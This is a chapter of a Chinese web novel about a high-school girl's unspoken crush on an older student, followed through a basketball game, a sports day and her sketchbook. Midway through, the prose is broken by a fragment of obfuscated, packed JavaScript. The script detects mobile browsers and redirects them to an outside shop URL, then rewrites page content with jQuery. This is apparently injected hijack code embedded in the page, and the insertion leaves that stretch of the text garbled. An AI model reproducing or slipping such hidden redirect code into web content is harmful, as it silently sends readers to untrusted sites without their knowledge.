第四章第七个座位
高一下学期开学后，温知夏的生活里多了一项隐秘的“功课”。
这项功课不在课程表上，也没有老师批改，可她却做得比任何一门功课都要认真。
——找到他。
课间操时，她的视线会越过拥挤的人群，在操场对角的高二方阵里寻找那个身影。他站在倒数第二排，不太老实，总是歪着身子，偶尔低头和旁边的男生说两句什么。
午饭时，她的耳朵会自动屏蔽掉食堂里嘈杂的人声，精准地捕捉到属于他的那一道。那声音穿过嗡嗡作响的人群，像一条清澈的溪流，准确无误地流进她的耳朵。
放学后，她会故意走那条绕远的路，经过篮球场。围栏外面站着一圈看球的女生，她混在人群里，远远地看上一眼，然后假装若无其事地走开。
她做这些事情的时候，从来不会停留太久。只是匆匆一瞥，像一只受惊的鸟，看一眼就飞走了。
可这一眼，就够她回味一整天。
温知夏发现，秦屿川有很多固定的习惯。
比如，在食堂吃饭的时候，他永远坐靠窗的那一排。准确地说，是南面第三扇窗下面的那张桌子。不管去得早还是晚，只要那张桌子空着，他就会坐过去。
比如，他打篮球的时候，习惯用左手运球，右手投篮。投进三分后，他偶尔会微微仰起下巴，嘴角带着一点很浅的笑，像是早就知道自己能进。
比如，他在图书馆待着的时候，总是坐在二楼的倒数第二排，靠着墙，面朝窗户。他看书的时候很安静，一只手的指尖搭在书页边缘，时不时轻轻敲一下，像打节拍。
这些碎片，温知夏把它们一件一件地捡起来，放进心里。
她的速写本越来越厚了。
起初她只敢画他的背影。一个远远的、模糊的轮廓。后来她胆子大了一些，画侧面。他站在篮球架下仰头喝水的侧脸，喉结轻轻滚动，汗珠从下颌滑下来。再后来，她画了一张正面的。他靠在食堂的窗边，阳光打在他半边脸上，另半边陷在阴影里，眼睛微微眯着，不知道在看什么。
那张画她画了三个晚上。
改了又改，擦了又擦。最后成稿的时候，她的速写本上留下了一大片橡皮擦过的痕迹，纸面被磨得有些发毛。
可她觉得，那是最像他的一张。
三月初，学校办了一场篮球友谊赛。
温知夏本来不打算去的。她不喜欢热闹，也不喜欢在人群里挤来挤去。可那天下午，她鬼使神差地留了下来。
篮球场上的比赛已经开始了。围栏外面站着好多人，里三层外三层的，把整片场地围得水泄不通。温知夏找不到好位置，只能站在最外面，踮着脚尖，从人头的缝隙里寻找那个七号球衣。
秦屿川在场上跑动。
他打球的姿态很好看。身体很灵活，跑位很聪明，总是在对手防守的缝隙里钻来钻去。他接到球的那一瞬间，整个人像被按下了加速键，两步就过掉了防守球员，然后一个后仰跳投，球稳稳落进篮筐。
围观的人群爆出一阵欢呼。
温知夏没跟着喊。她只是把手里的矿泉水瓶攥得很紧，眼睛紧紧追着那个身影，一秒都不敢错过。
那个瞬间，她忽然有些理解那些女生了。
为什么她们会尖叫，会脸红，会为了一次进球而兴奋得跳起来。因为那个人的确是值得的。他像一道光，走到哪里都能照亮一片人群。他的耀眼，是与生俱来的，没有办法。
比赛结束的时候，秦屿川他们赢了。
他从场上走下来，接过了体育部长递来的毛巾，擦了擦脖子和脸。球场边立刻围上去好多人，有队友，有同学，也有好几个女生。
温知夏站在外圈，远远地看着。
她看见一个女生从人群里挤进去，手里拿着一瓶运动饮料，大大方方地递到秦屿川面前。
那个女生很漂亮，很惹眼。长头发，高高扎成马尾，眼睛很大很亮。她笑起来的时候，整个人都像是在发光。
温知夏认得她。
林微月。
学校里的风云人物，秦屿川的“青梅竹马”。这是温知夏后来知道的。她第一次听见这个名字，是在某一次课间，几个女生在讨论秦屿川的时候提起了她。
“你们知道吗，林微月和秦屿川是从小一起长大的。”
“真的假的？那他们是什么关系啊？”
“不清楚，但肯定不一般。你看林微月给秦屿川送水，他从来不拒绝的。”
温知夏当时趴在桌上，假装在睡觉。可她的耳朵，却把每一个字都听得清清楚楚。
此刻，她看见林微月把饮料递过去，秦屿川接了过来。
他拧开瓶盖喝了一口，然后偏头跟林微月说了句什么。林微月笑得更开心了，抬手在他胳膊上拍了一下。
他的脸上，是温知夏很少见到的那种表情。
放松的、熟悉的、不设防的。
像是和家人在一起时的样子。
温知夏忽然觉得喉咙里堵了什么东西。
她低下头，看着自己手里那瓶矿泉水。她买了两瓶。一瓶给自己，一瓶给他。可那瓶水从比赛开始到结束，她一直攥在手里，瓶身上沾满了她掌心的汗，水已经温热了。
她把那瓶水塞进了书包里。
那天晚上，温知夏回家后什么都没吃。
她洗了个澡，坐在床边擦头发。手机里有人在空间里发了今天球赛的照片，她点开来看。照片里，秦屿川跳起来投篮，林微月站在场边，笑得灿烂。
那张照片的配文是：“七中最佳后援会会长。”
温知夏看着那张照片，看了很久。
她想起今天下午，林微月递给他的那瓶饮料。那瓶饮料是蓝色的包装，某运动品牌新出的口味，学校超市里卖八块钱一瓶。比她手里的矿泉水贵很多。
可她介意的不是价格。
她介意的是，林微月可以那样大方地走到他面前，递出水，笑着说一句“打得不错”。而她只能站在人群外面，把一瓶水攥到温热，最后灰溜溜地带回家。
她介意的是，原来他身边从来不缺这样的人。
而她温知夏，不过是那个站在最远处的、最不显眼的一个。
温知夏把手机放在一边，仰面躺到床上。
天花板上有一道很细很细的裂缝。她盯着那条裂缝，忽然想起一件事。
高一刚开学的时候，班主任让每个人上讲台自我介绍。轮到温知夏时，她站在讲台上，紧张得把“大家好”说成了“大家早”。全班哄堂大笑。她红着脸下台，觉得自己是全世界最笨的人。
她想，她大概就是这种人。
连喜欢一个人，都只能藏在暗处。她学不会大方地递出一瓶水，学不会笑着说“你好厉害”，更学不会理直气壮地站在他身边。
她唯一会的，就是远远地看着。
然后难过。
再然后，继续看着。
时间过得很快。
天气慢慢热了起来，夏天的气息再次降临。蝉鸣重新出现在校园的每一棵树上，风里又有了那股被晒热的树叶的味道。
温知夏把那张画了秦屿川正面的速写，从速写本上小心翼翼地撕了下来。
她把它折成了一个很小的方块，藏在了铁盒的夹层里。
盒子里除了那张元旦的贺卡之外，现在又多了一张折得四四方方的纸。
她没有在上面写任何字。可她知道，那上面画的是什么。
那天晚上，她坐在书桌前，托着下巴，盯着那个铁盒发呆。
窗外的风把窗帘吹得轻轻晃动。楼下有小孩在放风筝，线越放越长，风筝在暮色里变成一个小小的黑点。
温知夏忽然觉得自己也像那个风筝。
被一根线牵着，线的那头，是他。
可她的线太细了，细到风一吹就断。
而她连抓住那根线的勇气都没有。
温知夏打开铁盒，把那张贺卡拿出来，重新看了一遍。
“新年快乐，秦屿川。”
“谢谢你那天帮了我。”
“祝你一切都好。”
她想了想，拿起笔，在贺卡的背面又加了一句。
“对了，你打篮球的样子很好看。”
写完，她盯着这行字，觉得自己真是无可救药。
又过了几秒，她在这行字下面写了一行更小的字，小到几乎看不见。
“不过你应该不知道我是谁吧。”
写完之后，她的眼睛有些发潮。
她不想哭。这没什么好哭的。她没有表白，没有失去，什么都没有发生。
可她还是觉得很难过。
那是温知夏第一次清清楚楚地意识到：暗恋这件事，原来也会疼。
不是撕心裂肺的疼。而是像一根很细的鱼线，一点一点地勒进肉里，慢慢渗出血来，你却喊不出声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868973|212254||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>因为从头到尾，你连喊疼的资格都没有。
四月底，学校组织了春季运动会的报名。
高一高二的学生都要参加，项目自由报名。温知夏不擅长运动，被班主任安排去当啦啦队的后勤，负责点名和发水。
她不想去的。可后来听说高二的接力赛是在闭幕式当天比，她又觉得去了也没什么不好。
至少能看一场比赛。
运动会那天，天气很好。天蓝得发亮，没有云，太阳明晃晃地挂在头顶。操场上的塑胶跑道被晒出一股微微发烫的气味。
温知夏戴着遮阳帽，站在高一的看台上，手里拿着点名册，眼睛却一直往高二的方向飘。
接力赛是最后一个项目。
秦屿川跑第四棒。
温知夏在名单上看到这个名字的时候，心跳漏了一拍。她不动声色地合上点名册，站到了看台最前面的位置。
发令枪响了。
操场上的呐喊声瞬间炸开来，像一锅沸腾了的水。温知夏没有喊，她只是盯着第四棒的位置，手指不自觉地攥紧了看台上的栏杆。
第一棒、第二棒、第三棒……
当第三棒的男生把接力棒交到秦屿川手里时，他们班已经落后了两个身位。
秦屿川接棒的那一瞬间，整个人像一支离弦的箭，冲了出去。
他跑得飞快，步子又大又急，身体前倾，像一道蓝白色的闪电劈开风。看台上的加油声此起彼伏，几乎要把人耳膜震破。
温知夏什么都没喊。
她只是看着他，看着那个少年拼尽全力的样子，忽然觉得喉咙发紧，像有什么话要破口而出。
她想喊他的名字。
想喊“加油”。
可她张了张嘴，最终只是很小声地、很小声地说了一句：“……加油。”
那声音淹没在漫天的声浪里，谁也没有听见。
秦屿川在冲线前追上了第二名。
他几乎和对手同时压线。裁判在反复回看录像后，判了他们班第二名。
看台上欢呼和遗憾的声音混在一起。秦屿川弯着腰，双手撑在膝盖上，大口大口地喘着气。他的后背全湿透了，头发也滴着汗。队友们涌上来拍他的肩，他直起身子，笑着挨个回应。
然后，他忽然转过头，朝温知夏所在的方向看了一眼。
那一眼很快，快得像是无意的。
可温知夏的心，还是漏跳了整整一拍。
她慌忙低下头，把遮阳帽的帽檐往下拉了拉，遮住了自己发烫的脸。
他不知道。
他不可能知道。
可她还是害怕。
害怕再多看一秒，她的心事就会从眼睛里跑出来，穿过整个操场，撞进他的视线里。
温知夏一直到运动会结束都没有再抬头。
她听见宣布名次的声音，听见欢呼声和掌声，听见解散后的人声鼎沸。可她的世界里，只剩下那一个短暂的回望，和胸腔里久久无法平息的震动。
他刚才，是不是在看她？
还是说，只是他弯着腰站起来时的随意一瞥，正好对上了她的方向？
温知夏不知道。
可她忽然想，原来喜欢一个人，可以因为一个眼神，就开心得像拥有了全世界。
哪怕那个眼神，可能根本不属于她。
运动会结束后的很长一段时间里，温知夏的速写本上又多了一些新的画。
画他冲线时那一瞬间的姿态。
画他弯着腰大口喘气的背影。
画他在看台上被队友围着时露出的笑。
每一张都没有脸。
她不敢画他的眼睛。
她害怕一旦画上了，那眼神里的光，就会让她的一切无处可藏。
五月来了又走。
蝉鸣越来越响，风越来越热。
温知夏依旧每天寻找他。在食堂，在操场，在走廊的拐角，在每一个他可能会出现的地方。
她的生活像一张白纸，而他的名字是纸上唯一的颜色。
她不知道这样的日子还能持续多久。
但她想，能多看一天，就多看一天吧。
就像她不知道，高二的秦屿川，快要高三了。
他们之间隔着的那道距离，从来都不止是那一排排座位。
时间已经替她写好了故事的结局。
只是她自己，还拼命地假装看不见。
（第四章完）